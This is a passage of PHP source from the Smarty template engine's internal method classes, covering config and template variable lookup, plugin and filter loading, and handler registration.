     * @param \Smarty_Internal_Template $tpl
     * @param array                     $new_config_vars loaded config variables
     */
    public function _assignConfigVars(&$config_vars, Smarty_Internal_Template $tpl, $new_config_vars)
    {
        // copy global config vars
        foreach ($new_config_vars[ 'vars' ] as $variable => $value) {
            if ($tpl->smarty->config_overwrite || !isset($config_vars[ $variable ])) {
                $config_vars[ $variable ] = $value;
            } else {
                $config_vars[ $variable ] = array_merge((array)$config_vars[ $variable ], (array)$value);
            }
        }
        // scan sections
        $sections = $tpl->source->config_sections;
        if (!empty($sections)) {
            foreach ((array)$sections as $tpl_section) {
                if (isset($new_config_vars[ 'sections' ][ $tpl_section ])) {
                    foreach ($new_config_vars[ 'sections' ][ $tpl_section ][ 'vars' ] as $variable => $value) {
                        if ($tpl->smarty->config_overwrite || !isset($config_vars[ $variable ])) {
                            $config_vars[ $variable ] = $value;
                        } else {
                            $config_vars[ $variable ] = array_merge((array)$config_vars[ $variable ], (array)$value);
                        }
                    }
                }
            }
        }
    }

    /**
     * Update config variables in template local variable stack
     *
     * @param \Smarty_Internal_Template $tpl
     * @param array                     $config_vars
     */
    public function _updateVarStack(Smarty_Internal_Template $tpl, $config_vars)
    {
        $i = 0;
        while (isset($tpl->_cache[ 'varStack' ][ $i ])) {
            $this->_assignConfigVars($tpl->_cache[ 'varStack' ][ $i ][ 'config' ], $tpl, $config_vars);
            $i++;
        }
    }

    /**
     * gets  a config variable value
     *
     * @param \Smarty|\Smarty_Internal_Data|\Smarty_Internal_Template $data
     * @param string                                                  $varName the name of the config variable
     * @param bool                                                    $errorEnable
     *
     * @return null|string  the value of the config variable
     */
    public function _getConfigVariable(Smarty_Internal_Data $data, $varName, $errorEnable = true)
    {
        $_ptr = $data;
        while ($_ptr !== null) {
            if (isset($_ptr->config_vars[ $varName ])) {
                // found it, return it
                return $_ptr->config_vars[ $varName ];
            }
            // not found, try at parent
            $_ptr = $_ptr->parent;
        }
        if ($data->smarty->error_unassigned && $errorEnable) {
            // force a notice
            $x = $$varName;
        }
        return null;
    }
}
<?php

/**
 * Smarty Method CreateData
 *
 * Smarty::createData() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_CreateData
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * creates a data object
     *
     * @api  Smarty::createData()
     * @link https://www.smarty.net/docs/en/api.create.data.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty           $obj
     * @param \Smarty_Internal_Template|\Smarty_Internal_Data|\Smarty_Data|\Smarty|null $parent next higher level of Smarty
     *                                                                                          variables
     * @param string                                                                    $name   optional data block name
     *
     * @return \Smarty_Data data object
     */
    public function createData(Smarty_Internal_TemplateBase $obj, ?Smarty_Internal_Data $parent = null, $name = null)
    {
        /* @var Smarty $smarty */
        $smarty = $obj->_getSmartyObj();
        $dataObj = new Smarty_Data($parent, $smarty, $name);
        if ($smarty->debugging) {
            Smarty_Internal_Debug::register_data($dataObj);
        }
        return $dataObj;
    }
}
<?php

/**
 * Smarty Method GetAutoloadFilters
 *
 * Smarty::getAutoloadFilters() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetAutoloadFilters extends Smarty_Internal_Method_SetAutoloadFilters
{
    /**
     * Get autoload filters
     *
     * @api Smarty::getAutoloadFilters()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type type of filter to get auto loads
     *                                                                              for. Defaults to all autoload
     *                                                                              filters
     *
     * @return array array( 'type1' => array( 'filter1', 'filter2', … ) ) or array( 'filter1', 'filter2', …) if $type
     *                was specified
     * @throws \SmartyException
     */
    public function getAutoloadFilters(Smarty_Internal_TemplateBase $obj, $type = null)
    {
        $smarty = $obj->_getSmartyObj();
        if ($type !== null) {
            $this->_checkFilterType($type);
            return isset($smarty->autoload_filters[ $type ]) ? $smarty->autoload_filters[ $type ] : array();
        }
        return $smarty->autoload_filters;
    }
}
<?php

/**
 * Smarty Method GetConfigVariable
 *
 * Smarty::getConfigVariable() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetConfigVariable
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * gets  a config variable value
     *
     * @param \Smarty|\Smarty_Internal_Data|\Smarty_Internal_Template $data
     * @param string                                                  $varName the name of the config variable
     * @param bool                                                    $errorEnable
     *
     * @return null|string  the value of the config variable
     */
    public function getConfigVariable(Smarty_Internal_Data $data, $varName = null, $errorEnable = true)
    {
        return $data->ext->configLoad->_getConfigVariable($data, $varName, $errorEnable);
    }
}
<?php

/**
 * Smarty Method GetConfigVars
 *
 * Smarty::getConfigVars() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetConfigVars
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * Returns a single or all config variables
     *
     * @api  Smarty::getConfigVars()
     * @link https://www.smarty.net/docs/en/api.get.config.vars.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string                                                  $varname        variable name or null
     * @param bool                                                    $search_parents include parent templates?
     *
     * @return mixed variable value or or array of variables
     */
    public function getConfigVars(Smarty_Internal_Data $data, $varname = null, $search_parents = true)
    {
        $_ptr = $data;
        $var_array = array();
        while ($_ptr !== null) {
            if (isset($varname)) {
                if (isset($_ptr->config_vars[ $varname ])) {
                    return $_ptr->config_vars[ $varname ];
                }
            } else {
                $var_array = array_merge($_ptr->config_vars, $var_array);
            }
            // not found, try at parent
            if ($search_parents) {
                $_ptr = $_ptr->parent;
            } else {
                $_ptr = null;
            }
        }
        if (isset($varname)) {
            return '';
        } else {
            return $var_array;
        }
    }
}
<?php

/**
 * Smarty Method GetDebugTemplate
 *
 * Smarty::getDebugTemplate() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetDebugTemplate
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * return name of debugging template
     *
     * @api Smarty::getDebugTemplate()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     *
     * @return string
     */
    public function getDebugTemplate(Smarty_Internal_TemplateBase $obj)
    {
        $smarty = $obj->_getSmartyObj();
        return $smarty->debug_tpl;
    }
}
<?php

/**
 * Smarty Method GetDefaultModifiers
 *
 * Smarty::getDefaultModifiers() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetDefaultModifiers
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Get default modifiers
     *
     * @api Smarty::getDefaultModifiers()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     *
     * @return array list of default modifiers
     */
    public function getDefaultModifiers(Smarty_Internal_TemplateBase $obj)
    {
        $smarty = $obj->_getSmartyObj();
        return $smarty->default_modifiers;
    }
}
<?php

/**
 * Smarty Method GetGlobal
 *
 * Smarty::getGlobal() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetGlobal
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * Returns a single or all global  variables
     *
     * @api Smarty::getGlobal()
     *
     * @param \Smarty_Internal_Data $data
     * @param string                $varName variable name or null
     *
     * @return string|array variable value or or array of variables
     */
    public function getGlobal(Smarty_Internal_Data $data, $varName = null)
    {
        if (isset($varName)) {
            if (isset(Smarty::$global_tpl_vars[ $varName ])) {
                return Smarty::$global_tpl_vars[ $varName ]->value;
            } else {
                return '';
            }
        } else {
            $_result = array();
            foreach (Smarty::$global_tpl_vars as $key => $var) {
                $_result[ $key ] = $var->value;
            }
            return $_result;
        }
    }
}
<?php

/**
 * Smarty Method GetRegisteredObject
 *
 * Smarty::getRegisteredObject() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetRegisteredObject
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * return a reference to a registered object
     *
     * @api  Smarty::getRegisteredObject()
     * @link https://www.smarty.net/docs/en/api.get.registered.object.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $object_name object name
     *
     * @return object
     * @throws \SmartyException if no such object is found
     */
    public function getRegisteredObject(Smarty_Internal_TemplateBase $obj, $object_name)
    {
        $smarty = $obj->_getSmartyObj();
        if (!isset($smarty->registered_objects[ $object_name ])) {
            throw new SmartyException("'$object_name' is not a registered object");
        }
        if (!is_object($smarty->registered_objects[ $object_name ][ 0 ])) {
            throw new SmartyException("registered '$object_name' is not an object");
        }
        return $smarty->registered_objects[ $object_name ][ 0 ];
    }
}
<?php

/**
 * Smarty Method GetStreamVariable
 *
 * Smarty::getStreamVariable() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetStreamVariable
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * gets  a stream variable
     *
     * @api Smarty::getStreamVariable()
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string                                                  $variable the stream of the variable
     *
     * @return mixed
     * @throws \SmartyException
     */
    public function getStreamVariable(Smarty_Internal_Data $data, $variable)
    {
        $_result = '';
        $fp = fopen($variable, 'r+');
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
        $smarty = isset($data->smarty) ? $data->smarty : $data;
        if ($smarty->error_unassigned) {
            throw new SmartyException('Undefined stream variable "' . $variable . '"');
        } else {
            return null;
        }
    }
}
<?php

/**
 * Smarty Method GetTags
 *
 * Smarty::getTags() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetTags
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Return array of tag/attributes of all tags used by an template
     *
     * @api  Smarty::getTags()
     * @link https://www.smarty.net/docs/en/api.get.tags.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param null|string|Smarty_Internal_Template                            $template
     *
     * @return array of tag/attributes
     * @throws \Exception
     * @throws \SmartyException
     */
    public function getTags(Smarty_Internal_TemplateBase $obj, $template = null)
    {
        /* @var Smarty $smarty */
        $smarty = $obj->_getSmartyObj();
        if ($obj->_isTplObj() && !isset($template)) {
            $tpl = clone $obj;
        } elseif (isset($template) && $template->_isTplObj()) {
            $tpl = clone $template;
        } elseif (isset($template) && is_string($template)) {
            /* @var Smarty_Internal_Template $tpl */
            $tpl = new $smarty->template_class($template, $smarty);
            // checks if template exists
            if (!$tpl->source->exists) {
                throw new SmartyException("Unable to load template {$tpl->source->type} '{$tpl->source->name}'");
            }
        }
        if (isset($tpl)) {
            $tpl->smarty = clone $tpl->smarty;
            $tpl->smarty->_cache[ 'get_used_tags' ] = true;
            $tpl->_cache[ 'used_tags' ] = array();
            $tpl->smarty->merge_compiled_includes = false;
            $tpl->smarty->disableSecurity();
            $tpl->caching = Smarty::CACHING_OFF;
            $tpl->loadCompiler();
            $tpl->compiler->compileTemplate($tpl);
            return $tpl->_cache[ 'used_tags' ];
        }
        throw new SmartyException('Missing template specification');
    }
}
<?php

/**
 * Smarty Method GetTemplateVars
 *
 * Smarty::getTemplateVars() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_GetTemplateVars
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * Returns a single or all template variables
     *
     * @api  Smarty::getTemplateVars()
     * @link https://www.smarty.net/docs/en/api.get.template.vars.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty      $data
     * @param string                                                       $varName       variable name or null
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty|null $_ptr          optional pointer to data object
     * @param bool                                                         $searchParents include parent templates?
     *
     * @return mixed variable value or or array of variables
     */
    public function getTemplateVars(
        Smarty_Internal_Data $data,
        $varName = null,
        ?Smarty_Internal_Data $_ptr = null,
        $searchParents = true
    ) {
        if (isset($varName)) {
            $_var = $this->_getVariable($data, $varName, $_ptr, $searchParents, false);
            if (is_object($_var)) {
                return $_var->value;
            } else {
                return null;
            }
        } else {
            $_result = array();
            if ($_ptr === null) {
                $_ptr = $data;
            }
            while ($_ptr !== null) {
                foreach ($_ptr->tpl_vars as $key => $var) {
                    if (!array_key_exists($key, $_result)) {
                        $_result[ $key ] = $var->value;
                    }
                }
                // not found, try at parent
                if ($searchParents && isset($_ptr->parent)) {
                    $_ptr = $_ptr->parent;
                } else {
                    $_ptr = null;
                }
            }
            if ($searchParents && isset(Smarty::$global_tpl_vars)) {
                foreach (Smarty::$global_tpl_vars as $key => $var) {
                    if (!array_key_exists($key, $_result)) {
                        $_result[ $key ] = $var->value;
                    }
                }
            }
            return $_result;
        }
    }

    /**
     * gets the object of a Smarty variable
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string                                                  $varName       the name of the Smarty variable
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $_ptr          optional pointer to data object
     * @param bool                                                    $searchParents search also in parent data
     * @param bool                                                    $errorEnable
     *
     * @return \Smarty_Variable
     */
    public function _getVariable(
        Smarty_Internal_Data $data,
        $varName,
        ?Smarty_Internal_Data $_ptr = null,
        $searchParents = true,
        $errorEnable = true
    ) {
        if ($_ptr === null) {
            $_ptr = $data;
        }
        while ($_ptr !== null) {
            if (isset($_ptr->tpl_vars[ $varName ])) {
                // found it, return it
                return $_ptr->tpl_vars[ $varName ];
            }
            // not found, try at parent
            if ($searchParents && isset($_ptr->parent)) {
                $_ptr = $_ptr->parent;
            } else {
                $_ptr = null;
            }
        }
        if (isset(Smarty::$global_tpl_vars[ $varName ])) {
            // found it, return it
            return Smarty::$global_tpl_vars[ $varName ];
        }
        if ($errorEnable && $data->_getSmartyObj()->error_unassigned) {
            // force a notice
            $x = $$varName;
        }
        return new Smarty_Undefined_Variable;
    }
}
<?php

/**
 * Smarty Method GetLiterals
 *
 * Smarty::getLiterals() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_Literals
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Get literals
     *
     * @api Smarty::getLiterals()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     *
     * @return array list of literals
     */
    public function getLiterals(Smarty_Internal_TemplateBase $obj)
    {
        $smarty = $obj->_getSmartyObj();
        return (array)$smarty->literals;
    }

    /**
     * Add literals
     *
     * @api Smarty::addLiterals()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param array|string                                                    $literals literal or list of literals
     *                                                                                  to addto add
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function addLiterals(Smarty_Internal_TemplateBase $obj, $literals = null)
    {
        if (isset($literals)) {
            $this->set($obj->_getSmartyObj(), (array)$literals);
        }
        return $obj;
    }

    /**
     * Set literals
     *
     * @api Smarty::setLiterals()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param array|string                                                    $literals literal or list of literals
     *                                                                                  to setto set
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function setLiterals(Smarty_Internal_TemplateBase $obj, $literals = null)
    {
        $smarty = $obj->_getSmartyObj();
        $smarty->literals = array();
        if (!empty($literals)) {
            $this->set($smarty, (array)$literals);
        }
        return $obj;
    }

    /**
     * common setter for literals for easier handling of duplicates the
     * Smarty::$literals array gets filled with identical key values
     *
     * @param \Smarty $smarty
     * @param array   $literals
     *
     * @throws \SmartyException
     */
    private function set(Smarty $smarty, $literals)
    {
        $literals = array_combine($literals, $literals);
        $error = isset($literals[ $smarty->left_delimiter ]) ? array($smarty->left_delimiter) : array();
        $error = isset($literals[ $smarty->right_delimiter ]) ? $error[] = $smarty->right_delimiter : $error;
        if (!empty($error)) {
            throw new SmartyException(
                'User defined literal(s) "' . $error .
                '" may not be identical with left or right delimiter'
            );
        }
        $smarty->literals = array_merge((array)$smarty->literals, (array)$literals);
    }
}
<?php

/**
 * Smarty Method LoadFilter
 *
 * Smarty::loadFilter() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_LoadFilter
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Valid filter types
     *
     * @var array
     */
    private $filterTypes = array('pre' => true, 'post' => true, 'output' => true, 'variable' => true);

    /**
     * load a filter of specified type and name
     *
     * @api  Smarty::loadFilter()
     *
     * @link https://www.smarty.net/docs/en/api.load.filter.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type filter type
     * @param string                                                          $name filter name
     *
     * @return bool
     * @throws SmartyException if filter could not be loaded
     */
    public function loadFilter(Smarty_Internal_TemplateBase $obj, $type, $name)
    {
        $smarty = $obj->_getSmartyObj();
        $this->_checkFilterType($type);
        $_plugin = "smarty_{$type}filter_{$name}";
        $_filter_name = $_plugin;
        if (is_callable($_plugin)) {
            $smarty->registered_filters[ $type ][ $_filter_name ] = $_plugin;
            return true;
        }
        if ($smarty->loadPlugin($_plugin)) {
            if (class_exists($_plugin, false)) {
                $_plugin = array($_plugin, 'execute');
            }
            if (is_callable($_plugin)) {
                $smarty->registered_filters[ $type ][ $_filter_name ] = $_plugin;
                return true;
            }
        }
        throw new SmartyException("{$type}filter '{$name}' not found or callable");
    }

    /**
     * Check if filter type is valid
     *
     * @param string $type
     *
     * @throws \SmartyException
     */
    public function _checkFilterType($type)
    {
        if (!isset($this->filterTypes[ $type ])) {
            throw new SmartyException("Illegal filter type '{$type}'");
        }
    }
}
<?php

/**
 * Smarty Extension Loadplugin
 *
 * $smarty->loadPlugin() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_LoadPlugin
{
    /**
     * Cache of searched plugin files
     *
     * @var array
     */
    public $plugin_files = array();

    /**
     * Takes unknown classes and loads plugin files for them
     * class name format: Smarty_PluginType_PluginName
     * plugin filename format: plugintype.pluginname.php
     *
     * @param \Smarty $smarty
     * @param string  $plugin_name class plugin name to load
     * @param bool    $check       check if already loaded
     *
     * @return bool|string
     * @throws \SmartyException
     */
    public function loadPlugin(Smarty $smarty, $plugin_name, $check)
    {
        // if function or class exists, exit silently (already loaded)
        if ($check && (is_callable($plugin_name) || class_exists($plugin_name, false))) {
            return true;
        }
        if (!preg_match('#^smarty_((internal)|([^_]+))_(.+)$#i', $plugin_name, $match)) {
            throw new SmartyException("plugin {$plugin_name} is not a valid name format");
        }
        if (!empty($match[ 2 ])) {
            $file = SMARTY_SYSPLUGINS_DIR . smarty_strtolower_ascii($plugin_name) . '.php';
            if (isset($this->plugin_files[ $file ])) {
                if ($this->plugin_files[ $file ] !== false) {
                    return $this->plugin_files[ $file ];
                } else {
                    return false;
                }
            } else {
                if (is_file($file)) {
                    $this->plugin_files[ $file ] = $file;
                    include_once $file;
                    return $file;
                } else {
                    $this->plugin_files[ $file ] = false;
                    return false;
                }
            }
        }
        // plugin filename is expected to be: [type].[name].php
        $_plugin_filename = "{$match[1]}.{$match[4]}.php";
        $_lower_filename = smarty_strtolower_ascii($_plugin_filename);
        if (isset($this->plugin_files)) {
            if (isset($this->plugin_files[ 'plugins_dir' ][ $_lower_filename ])) {
                if (!$smarty->use_include_path || $this->plugin_files[ 'plugins_dir' ][ $_lower_filename ] !== false) {
                    return $this->plugin_files[ 'plugins_dir' ][ $_lower_filename ];
                }
            }
            if (!$smarty->use_include_path || $smarty->ext->_getIncludePath->isNewIncludePath($smarty)) {
                unset($this->plugin_files[ 'include_path' ]);
            } else {
                if (isset($this->plugin_files[ 'include_path' ][ $_lower_filename ])) {
                    return $this->plugin_files[ 'include_path' ][ $_lower_filename ];
                }
            }
        }
        $_file_names = array($_plugin_filename);
        if ($_lower_filename !== $_plugin_filename) {
            $_file_names[] = $_lower_filename;
        }
        $_p_dirs = $smarty->getPluginsDir();
        if (!isset($this->plugin_files[ 'plugins_dir' ][ $_lower_filename ])) {
            // loop through plugin dirs and find the plugin
            foreach ($_p_dirs as $_plugin_dir) {
                foreach ($_file_names as $name) {
                    $file = $_plugin_dir . $name;
                    if (is_file($file)) {
                        $this->plugin_files[ 'plugins_dir' ][ $_lower_filename ] = $file;
                        include_once $file;
                        return $file;
                    }
                    $this->plugin_files[ 'plugins_dir' ][ $_lower_filename ] = false;
                }
            }
        }
        if ($smarty->use_include_path) {
            foreach ($_file_names as $_file_name) {
                // try PHP include_path
                $file = $smarty->ext->_getIncludePath->getIncludePath($_p_dirs, $_file_name, $smarty);
                $this->plugin_files[ 'include_path' ][ $_lower_filename ] = $file;
                if ($file !== false) {
                    include_once $file;
                    return $file;
                }
            }
        }
        // no plugin loaded
        return false;
    }
}
<?php

/**
 * Smarty Method MustCompile
 *
 * Smarty_Internal_Template::mustCompile() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_MustCompile
{
    /**
     * Valid for template object
     *
     * @var int
     */
    public $objMap = 2;

    /**
     * Returns if the current template must be compiled by the Smarty compiler
     * It does compare the timestamps of template source and the compiled templates and checks the force compile
     * configuration
     *
     * @param \Smarty_Internal_Template $_template
     *
     * @return bool
     * @throws \SmartyException
     */
    public function mustCompile(Smarty_Internal_Template $_template)
    {
        if (!$_template->source->exists) {
            if ($_template->_isSubTpl()) {
                $parent_resource = " in '{$_template->parent->template_resource}'";
            } else {
                $parent_resource = '';
            }
            throw new SmartyException("Unable to load template {$_template->source->type} '{$_template->source->name}'{$parent_resource}");
        }
        if ($_template->mustCompile === null) {
            $_template->mustCompile = (!$_template->source->handler->uncompiled &&
                                       ($_template->smarty->force_compile || $_template->source->handler->recompiled ||
                                        !$_template->compiled->exists || ($_template->compile_check &&
                                                                          $_template->compiled->getTimeStamp() <
                                                                          $_template->source->getTimeStamp())));
        }
        return $_template->mustCompile;
    }
}
<?php

/**
 * Smarty Method RegisterCacheResource
 *
 * Smarty::registerCacheResource() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterCacheResource
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers a resource to fetch a template
     *
     * @api  Smarty::registerCacheResource()
     * @link https://www.smarty.net/docs/en/api.register.cacheresource.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $name name of resource type
     * @param \Smarty_CacheResource                                           $resource_handler
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function registerCacheResource(
        Smarty_Internal_TemplateBase $obj,
        $name,
        Smarty_CacheResource $resource_handler
    ) {
        $smarty = $obj->_getSmartyObj();
        $smarty->registered_cache_resources[ $name ] = $resource_handler;
        return $obj;
    }
}
<?php

/**
 * Smarty Method RegisterClass
 *
 * Smarty::registerClass() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterClass
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers static classes to be used in templates
     *
     * @api  Smarty::registerClass()
     * @link https://www.smarty.net/docs/en/api.register.class.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $class_name
     * @param string                                                          $class_impl the referenced PHP class to
     *                                                                                    register
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function registerClass(Smarty_Internal_TemplateBase $obj, $class_name, $class_impl)
    {
        $smarty = $obj->_getSmartyObj();
        // test if exists
        if (!class_exists($class_impl)) {
            throw new SmartyException("Undefined class '$class_impl' in register template class");
        }
        // register the class
        $smarty->registered_classes[ $class_name ] = $class_impl;
        return $obj;
    }
}
<?php

/**
 * Smarty Method RegisterDefaultConfigHandler
 *
 * Smarty::registerDefaultConfigHandler() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterDefaultConfigHandler
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Register config default handler
     *
     * @api Smarty::registerDefaultConfigHandler()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param callable                                                        $callback class/method name
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws SmartyException              if $callback is not callable
     */
    public function registerDefaultConfigHandler(Smarty_Internal_TemplateBase $obj, $callback)
    {
        $smarty = $obj->_getSmartyObj();
        if (is_callable($callback)) {
            $smarty->default_config_handler_func = $callback;
        } else {
            throw new SmartyException('Default config handler not callable');
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method RegisterDefaultPluginHandler
 *
 * Smarty::registerDefaultPluginHandler() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterDefaultPluginHandler
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers a default plugin handler
     *
     * @api  Smarty::registerDefaultPluginHandler()
     * @link https://www.smarty.net/docs/en/api.register.default.plugin.handler.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param callable                                                        $callback class/method name
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws SmartyException              if $callback is not callable
     */
    public function registerDefaultPluginHandler(Smarty_Internal_TemplateBase $obj, $callback)
    {
        $smarty = $obj->_getSmartyObj();
        if (is_callable($callback)) {
            $smarty->default_plugin_handler_func = $callback;
        } else {
            throw new SmartyException("Default plugin handler '$callback' not callable");
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method RegisterDefaultTemplateHandler
 *
 * Smarty::registerDefaultTemplateHandler() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterDefaultTemplateHandler
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Register template default handler
     *
     * @api Smarty::registerDefaultTemplateHandler()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param callable                                                        $callback class/method name
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws SmartyException              if $callback is not callable
     */
    public function registerDefaultTemplateHandler(Smarty_Internal_TemplateBase $obj, $callback)
    {
        $smarty = $obj->_getSmartyObj();
        if (is_callable($callback)) {
            $smarty->default_template_handler_func = $callback;
        } else {
            throw new SmartyException('Default template handler not callable');
        }
        return $obj;
    }

    /**
     * get default content from template or config resource handler
     *
     * @param Smarty_Template_Source $source
     *
     * @throws \SmartyException
     */
    public static function _getDefaultTemplate(Smarty_Template_Source $source)
    {
        if ($source->isConfig) {
            $default_handler = $source->smarty->default_config_handler_func;
        } else {
            $default_handler = $source->smarty->default_template_handler_func;
        }
        $_content = $_timestamp = null;
        $_return = call_user_func_array(
            $default_handler,
            array($source->type, $source->name, &$_content, &$_timestamp, $source->smarty)
        );
        if (is_string($_return)) {
            $source->exists = is_file($_return);
            if ($source->exists) {
                $source->timestamp = filemtime($_return);
            } else {
                throw new SmartyException(
                    'Default handler: Unable to load ' .
                    ($source->isConfig ? 'config' : 'template') .
                    " default file '{$_return}' for '{$source->type}:{$source->name}'"
                );
            }
            $source->name = $source->filepath = $_return;
            $source->uid = sha1($source->filepath);
        } elseif ($_return === true) {
            $source->content = $_content;
            $source->exists = true;
            $source->uid = $source->name = sha1($_content);
            $source->handler = Smarty_Resource::load($source->smarty, 'eval');
        } else {
            $source->exists = false;
            throw new SmartyException(
                'Default handler: No ' . ($source->isConfig ? 'config' : 'template') .
                " default content for '{$source->type}:{$source->name}'"
            );
        }
    }
}
<?php

/**
 * Smarty Method RegisterFilter
 *
 * Smarty::registerFilter() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterFilter
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Valid filter types
     *
     * @var array
     */
    private $filterTypes = array('pre' => true, 'post' => true, 'output' => true, 'variable' => true);

    /**
     * Registers a filter function
     *
     * @api  Smarty::registerFilter()
     *
     * @link https://www.smarty.net/docs/en/api.register.filter.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type filter type
     * @param callback                                                        $callback
     * @param string|null                                                     $name optional filter name
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
